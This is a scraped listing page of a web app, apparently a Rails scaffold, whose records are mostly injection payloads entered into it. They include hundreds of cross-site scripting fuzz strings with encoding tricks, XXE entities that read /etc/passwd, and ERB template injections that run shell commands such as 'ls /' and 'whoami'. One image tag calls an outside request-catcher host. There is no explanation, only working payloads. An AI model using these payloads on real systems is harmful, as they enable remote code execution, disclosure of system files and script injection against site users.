| <sCriPt>alert(1);</sCriPt> |
Show |
Edit |
Destroy |
| <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY example "Doe"> ]> <userInfo> <firstName>John</firstName> <lastName> |
Show |
Edit |
Destroy |
| <%= 7 * 7 %> |
Show |
Edit |
Destroy |
| <%= File.open('/etc/passwd').read %> |
Show |
Edit |
Destroy |
| <img src="https://en7lycojm5oi4.x.pipedream.net" onload=alert(1)> |
Show |
Edit |
Destroy |
| <%= `ls /` %> |
Show |
Edit |
Destroy |
| <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| Face? |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY example "Doe"> ]> <userInfo> <firstName>John</firstName> <lastName>&example;</lastName> </userInfo> |
Show |
Edit |
Destroy |
| <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root> |
Show |
Edit |
Destroy |
| <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root> |
Show |
Edit |
Destroy |
| <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root> |
Show |
Edit |
Destroy |
| test |
Show |
Edit |
Destroy |
| test |
Show |
Edit |
Destroy |
| test |
Show |
Edit |
Destroy |
| test |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| tttt |
Show |
Edit |
Destroy |
| tttt |
Show |
Edit |
Destroy |
| tttt |
Show |
Edit |
Destroy |
| /><script>alert('hack!');</script> |
Show |
Edit |
Destroy |
| "/><script>alert('hack!');</script>" |
Show |
Edit |
Destroy |
| <%= IO.popen('ls /').readlines() %> |
Show |
Edit |
Destroy |
| <%= IO.popen('ls /').readlines() %> |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| tt |
Show |
Edit |
Destroy |
| tt |
Show |
Edit |
Destroy |
| tt |
Show |
Edit |
Destroy |
| tt |
Show |
Edit |
Destroy |
| tt |
Show |
Edit |
Destroy |
| stest |
Show |
Edit |
Destroy |
| aqqqqq |
Show |
Edit |
Destroy |
| sometext |
Show |
Edit |
Destroy |
| sometext |
Show |
Edit |
Destroy |
| "-prompt(8)-" |
Show |
Edit |
Destroy |
| ";a=prompt,a()// |
Show |
Edit |
Destroy |
| ';a=prompt,a()// |
Show |
Edit |
Destroy |
| '-prompt(8)-' |
Show |
Edit |
Destroy |
| '-eval("window['pro'+'mpt'](8)")-' |
Show |
Edit |
Destroy |
| "onclick=prompt(8)>"@x.y |
Show |
Edit |
Destroy |
| "-eval("window['pro'+'mpt'](8)")-" |
Show |
Edit |
Destroy |
| "onclick=prompt(8)><svg/onload=prompt(8)>"@x.y |
Show |
Edit |
Destroy |
| <img/src/onerror=prompt(8)> |
Show |
Edit |
Destroy |
| <image/src/onerror=prompt(8)> |
Show |
Edit |
Destroy |
| <img src/onerror=prompt(8)> |
Show |
Edit |
Destroy |
| <image src/onerror=prompt(8)> |
Show |
Edit |
Destroy |
| <image src =q onerror=prompt(8)> |
Show |
Edit |
Destroy |
| <img src =q onerror=prompt(8)> |
Show |
Edit |
Destroy |
| </scrip</script>t><img src =q onerror=prompt(8)> |
Show |
Edit |
Destroy |
| <script\x20type="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x3Etype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x0Dtype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x0Ctype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x09type="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x2Ftype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x0Atype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| '`"><\x3Cscript>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| '`"><\x00script>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <img src=1 href=1 onerror="javascript:alert(1)"></img> |
Show |
Edit |
Destroy |
| <audio src=1 href=1 onerror="javascript:alert(1)"></audio> |
Show |
Edit |
Destroy |
| <video src=1 href=1 onerror="javascript:alert(1)"></video> |
Show |
Edit |
Destroy |
| <body src=1 href=1 onerror="javascript:alert(1)"></body> |
Show |
Edit |
Destroy |
| <image src=1 href=1 onerror="javascript:alert(1)"></image> |
Show |
Edit |
Destroy |
| <object src=1 href=1 onerror="javascript:alert(1)"></object> |
Show |
Edit |
Destroy |
| <script src=1 href=1 onerror="javascript:alert(1)"></script> |
Show |
Edit |
Destroy |
| <title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange> |
Show |
Edit |
Destroy |
| <iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad> |
Show |
Edit |
Destroy |
| <svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize> |
Show |
Edit |
Destroy |
| <body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter> |
Show |
Edit |
Destroy |
| <body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus> |
Show |
Edit |
Destroy |
| <frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll> |
Show |
Edit |
Destroy |
| <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange> |
Show |
Edit |
Destroy |
| <html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp> |
Show |
Edit |
Destroy |
| <body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange> |
Show |
Edit |
Destroy |
| <svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad> |
Show |
Edit |
Destroy |
| <body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide> |
Show |
Edit |
Destroy |
| <body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver> |
Show |
Edit |
Destroy |
| <body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload> |
Show |
Edit |
Destroy |
| <body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad> |
Show |
Edit |
Destroy |
| <bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange> |
Show |
Edit |
Destroy |
| <html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave> |
Show |
Edit |
Destroy |
| <html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel> |
Show |
Edit |
Destroy |
| <style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad> |
Show |
Edit |
Destroy |
| <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange> |
Show |
Edit |
Destroy |
| <body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow> |
Show |
Edit |
Destroy |
| <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange> |
Show |
Edit |
Destroy |
| <frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus> |
Show |
Edit |
Destroy |
| <applet onError applet onError="javascript:javascript:alert(1)"></applet onError> |
Show |
Edit |
Destroy |
| <marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart> |
Show |
Edit |
Destroy |
| <script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad> |
Show |
Edit |
Destroy |
| <html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver> |
Show |
Edit |
Destroy |
| <html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter> |
Show |
Edit |
Destroy |
| <body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload> |
Show |
Edit |
Destroy |
| <html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown> |
Show |
Edit |
Destroy |
| <marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll> |
Show |
Edit |
Destroy |
| <xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange> |
Show |
Edit |
Destroy |
| <frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur> |
Show |
Edit |
Destroy |
| <applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange> |
Show |
Edit |
Destroy |
| <svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload> |
Show |
Edit |
Destroy |
| <html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut> |
Show |
Edit |
Destroy |
| <body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove> |
Show |
Edit |
Destroy |
| <body onResize body onResize="javascript:javascript:alert(1)"></body onResize> |
Show |
Edit |
Destroy |
| <object onError object onError="javascript:javascript:alert(1)"></object onError> |
Show |
Edit |
Destroy |
| <body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState> |
Show |
Edit |
Destroy |
| <html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove> |
Show |
Edit |
Destroy |
| <applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange> |
Show |
Edit |
Destroy |
| <body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide> |
Show |
Edit |
Destroy |
| <svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload> |
Show |
Edit |
Destroy |
| <applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror> |
Show |
Edit |
Destroy |
| <body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup> |
Show |
Edit |
Destroy |
| <body onunload body onunload="javascript:javascript:alert(1)"></body onunload> |
Show |
Edit |
Destroy |
| <iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload> |
Show |
Edit |
Destroy |
| <body onload body onload="javascript:javascript:alert(1)"></body onload> |
Show |
Edit |
Destroy |
| <html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover> |
Show |
Edit |
Destroy |
| <object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload> |
Show |
Edit |
Destroy |
| <body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload> |
Show |
Edit |
Destroy |
| <body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus> |
Show |
Edit |
Destroy |
| <body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown> |
Show |
Edit |
Destroy |
| <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload> |
Show |
Edit |
Destroy |
| <iframe src iframe src="javascript:javascript:alert(1)"></iframe src> |
Show |
Edit |
Destroy |
| <svg onload svg onload="javascript:javascript:alert(1)"></svg onload> |
Show |
Edit |
Destroy |
| <html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove> |
Show |
Edit |
Destroy |
| <body onblur body onblur="javascript:javascript:alert(1)"></body onblur> |
Show |
Edit |
Destroy |
| \x3Cscript>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| '"`><script>/* *\x2Fjavascript:alert(1)// */</script> |
Show |
Edit |
Destroy |
| <script>javascript:alert(1)</script\x0D |
Show |
Edit |
Destroy |
| <script>javascript:alert(1)</script\x0A |
Show |
Edit |
Destroy |
| <script>javascript:alert(1)</script\x0B |
Show |
Edit |
Destroy |
| <script charset="\x22>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <!--\x3E<img src=xxx:x onerror=javascript:alert(1)> --> |
Show |
Edit |
Destroy |
| --><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> --> |
Show |
Edit |
Destroy |
| --><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> --> |
Show |
Edit |
Destroy |
| --><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> --> |
Show |
Edit |
Destroy |
| --><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> --> |
Show |
Edit |
Destroy |
| `"'><img src='#\x27 onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| "'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p> |
Show |
Edit |
Destroy |
| <a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <script>/* *\x2A/javascript:alert(1)// */</script> |
Show |
Edit |
Destroy |
| <script>/* *\x00/javascript:alert(1)// */</script> |
Show |
Edit |
Destroy |
| <style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style> |
Show |
Edit |
Destroy |
| <style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style> |
Show |
Edit |
Destroy |
| <style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style> |
Show |
Edit |
Destroy |
| <style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style> |
Show |
Edit |
Destroy |
| <style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style> |
Show |
Edit |
Destroy |
| "'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF |
Show |
Edit |
Destroy |
| "'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF |
Show |
Edit |
Destroy |
| %3Cscript%3Ealert('XSS')%3C%2Fscript%3E |
Show |
Edit |
Destroy |
| <script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script> |
Show |
Edit |
Destroy |
| <script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script> |
Show |
Edit |
Destroy |
| <script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script> |
Show |
Edit |
Destroy |
| '`"><\x3Cscript>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| '`"><\x00script>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| "'`><\x00img src=xxx:x onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <script src="data:text/plain\x2Cjavascript:alert(1)"></script> |
Show |
Edit |
Destroy |
| <script src="data:\xD4\x8F,javascript:alert(1)"></script> |
Show |
Edit |
Destroy |
| <script src="data:\xE0\xA4\x98,javascript:alert(1)"></script> |
Show |
Edit |
Destroy |
| <script src="data:\xCB\x8F,javascript:alert(1)"></script> |
Show |
Edit |
Destroy |
| <script\x20type="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x3Etype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x0Dtype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x09type="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x0Ctype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x2Ftype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x0Atype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:expression\x5C(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:expression\x00(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x09expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x20expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x00expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| <a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x0Aonerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x22onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x0Bonerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x0Donerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x2Fonerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x09onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x0Conerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x00onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x27onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x \x20onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| "`'><script>\x3Bjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x0Djavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xEF\xBB\xBFjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x81javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x84javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE3\x80\x80javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "><script>alert(document.domain)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x09javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x89javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x85javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x88javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x00javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\xA8javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x8Ajavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| " autofocus onfocus="alert(document.domain) |
Show |
Edit |
Destroy |
| "`'><script>\xE1\x9A\x80javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x0Cjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x2Bjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "autofocus/onfocus="alert(document.domain) |
Show |
Edit |
Destroy |
| "`'><script>-javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x0Ajavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\xAFjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "autofocus/onfocus="confirm |
Show |
Edit |
Destroy |
| "`'><script>\x7Ejavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x87javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "autofocus/onfocus="confirm(document.domain) |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x81\x9Fjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\xA9javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| '-alert(document.domain)-' |
Show |
Edit |
Destroy |
| "`'><script>\xC2\x85javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xEF\xBF\xAEjavascript:alert(1)</script> |
Show |
